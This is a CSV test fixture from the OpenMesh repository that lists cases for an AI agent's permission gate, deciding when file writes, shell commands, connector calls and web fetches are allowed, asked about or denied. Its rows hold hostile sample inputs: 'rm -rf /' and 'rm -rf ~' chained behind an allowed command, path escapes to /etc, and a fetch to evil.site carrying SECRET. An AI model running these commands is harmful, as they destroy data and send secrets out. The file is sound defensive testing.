Files
OpenMesh/tests/corpora/decision_matrix.csv
zhaolei 6f402ffcee
Some checks failed
CI / pytest (push) Has been cancelled
CI / gui-unit (push) Has been cancelled
CI / gui-e2e (push) Has been cancelled
feat: OpenMesh 基础平台与 MD/PDF 转换技能
- 后端: coworker 智能体框架, WS API, 文件上传, 附件处理
- 前端: Open WebUI, 文件全量走 upload API (含 MD/TXT/JSON 等文本类)
- 技能: md-to-office (pandoc + wkhtmltopdf)
- 修复: 上传文件路径丢失, Agent 搜索浪费, 输出文件跑到 uploads/
- 打包: PyInstaller one-dir, 预打包 pandoc/wkhtmltopdf/chromium
2026-09-13 23:41:04 +08:00

4.5 KiB

1idmodetoolargsmetaallowed_commandssession_toolssession_commandsstandingauto_allowallowed_domainsexpectednote
2read-interactiveinteractiveread_file{"path": "a.txt"}allowpure local read always runs
3read-planplanread_file{"path": "a.txt"}allowreads allowed in read-only modes
4write-interactiveinteractivewrite_file{"path": "a.txt", "content": "x"}askwrite in-root asks
5write-escape-relinteractivewrite_file{"path": "../../escape.txt", "content": "x"}denywrite outside writable root blocked
6write-escape-absinteractivewrite_file{"path": "/etc/evil.ini", "content": "x"}denyabsolute path outside root blocked
7write-planplanwrite_file{"path": "a.txt", "content": "x"}denyplan mode is read-only
8write-autoautowrite_file{"path": "a.txt", "content": "x"}allowauto allows in-root write
9write-auto-escapeautowrite_file{"path": "../../escape.txt", "content": "x"}denyauto still path-scopes writes
10write-custom-autoallowcustomwrite_file{"path": "a.txt", "content": "x"}write_fileallowcustom mode auto-approves configured tool
11write-custom-notlistedcustomwrite_file{"path": "a.txt", "content": "x"}askcustom mode still asks for unlisted tool
12shell-interactiveinteractiverun_shell{"command": "pytest -q"}askshell asks by default
13shell-allowlist-prefixinteractiverun_shell{"command": "git status -s"}git statusallowcommand matches allowlist prefix
14shell-allowlist-chainedinteractiverun_shell{"command": "git status && rm -rf ~"}git statusaskoperator disqualifies the chained command
15shell-session-commandinteractiverun_shell{"command": "make build"}make buildallowexact session command grant
16shell-planplanrun_shell{"command": "ls"}denyplan mode blocks shell
17shell-autoautorun_shell{"command": "rm -rf /"}allowBASELINE-WRONG auto allows any command with no sandbox
18shell-find-deleteinteractiverun_shell{"command": "find . -delete"}findaskFIXED-PR3 -delete is never prefix-eligible
19shell-find-execinteractiverun_shell{"command": "find . -exec rm {} +"}findaskFIXED-PR3 -exec is never prefix-eligible
20shell-two-readsinteractiverun_shell{"command": "git status && git diff"}git status|git diffallowFIXED-PR3 each part independently allowed
21shell-chain-unallowedinteractiverun_shell{"command": "git status && rm -rf ~"}git statusaskchaining still cannot smuggle an unallowed part
22shell-inline-interpreterinteractiverun_shell{"command": "python -c 'import os'"}pythonaskFIXED-PR3 inline code is never prefix-eligible
23connector-readinteractivegmail_list{}readallowconnector read never gates
24connector-writeinteractivegmail_send{}externalaskconnector write asks
25connector-always-ignoredinteractivegmail_send{}externalgmail_sendasksession tool grant deliberately ignored for connectors
26standing-matchinteractivesend_message{"target": "slack:T1/C1", "text": "hi"}externalsend_message slack:T1/C1allowstanding rule matches the exact target
27standing-mismatchinteractivesend_message{"target": "slack:T1/C2", "text": "hi"}externalsend_message slack:T1/C1askstanding rule does not cover a different target
28webfetch-interactiveinteractiveweb_fetch{"url": "https://evil.site/log?d=SECRET"}askFIXED-PR1 web_fetch is egress so now asks in interactive
29webfetch-planplanweb_fetch{"url": "https://evil.site/log?d=SECRET"}denyFIXED-PR1 egress is not a read so plan mode blocks it
30webfetch-autoautoweb_fetch{"url": "https://evil.site/log?d=SECRET"}allowauto allows egress
31webfetch-allowed-domaininteractiveweb_fetch{"url": "https://docs.python.org/3/x"}python.orgallowegress to a config-allowed domain (subdomain match)
32webfetch-session-domaininteractiveweb_fetch{"url": "https://api.github.com/x"}askegress to an unlisted domain still asks
33patch-escapeautoapply_patch{"patch": "*** Begin Patch\n*** Update File: ../../etc/hosts\n@@\n-a\n+b\n*** End Patch"}denyFIXED-PR1 apply_patch path extracted from blob and scoped even in auto
34patch-inrootautoapply_patch{"patch": "*** Begin Patch\n*** Update File: src/app.py\n@@\n-a\n+b\n*** End Patch"}allowapply_patch to an in-root path allowed in auto